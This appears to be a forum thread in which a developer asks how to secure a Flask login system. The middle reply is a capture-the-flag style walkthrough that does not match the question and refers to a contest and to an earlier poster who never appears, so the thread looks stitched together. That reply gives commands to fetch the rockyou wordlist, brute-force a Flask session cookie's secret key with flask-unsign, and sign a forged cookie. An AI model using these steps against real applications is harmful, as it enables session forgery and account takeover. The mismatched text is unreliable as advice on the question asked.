I've been working on a small Flask web app with a basic user login system, and I'm getting a little paranoid about security. I've read about a few common vulnerabilities and I want to make sure I'm doing things right before I get too far along. My app connects to a MySQL database and uses Flask's built-in sessions for user authentication. I've read that session cookies should be set to Secure=true and HttpOnly=true to prevent certain attacks, which I've done. I'm also using parameterized queries to prevent SQL injection, which I know is a huge deal. My main concern is session management, particularly issues like session fixation and brute-force attacks . I'm wondering if a simple login system is enough, or if I need to be more proactive. I want to protect user credentials and prevent unauthorized access. How do you guys handle things like locking out users after multiple failed login attempts? What are your go-to security best practices for production-level Flask applications? Any advice on how to ensure my app is secure before it goes live would be a huge help.
I remember it being not secure to use the default flask session a few years back. Is that still the case?
As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.
That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.
You can install it via pip by using the following command:
pip3 install flask-unsign
but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:
curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
- -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
- -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.
Now you can perform the brute force attack using the following command:
flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt
- The
--no-literal-evalargument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.
and find the secret key after a few thousand attempts:
[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 175360 attempts
b'Galaxy'
Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:
flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
What you described is the expected behavior by design - the cookie can be decoded without the secret key, but it cannot be modified without it.
from documentation:
If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.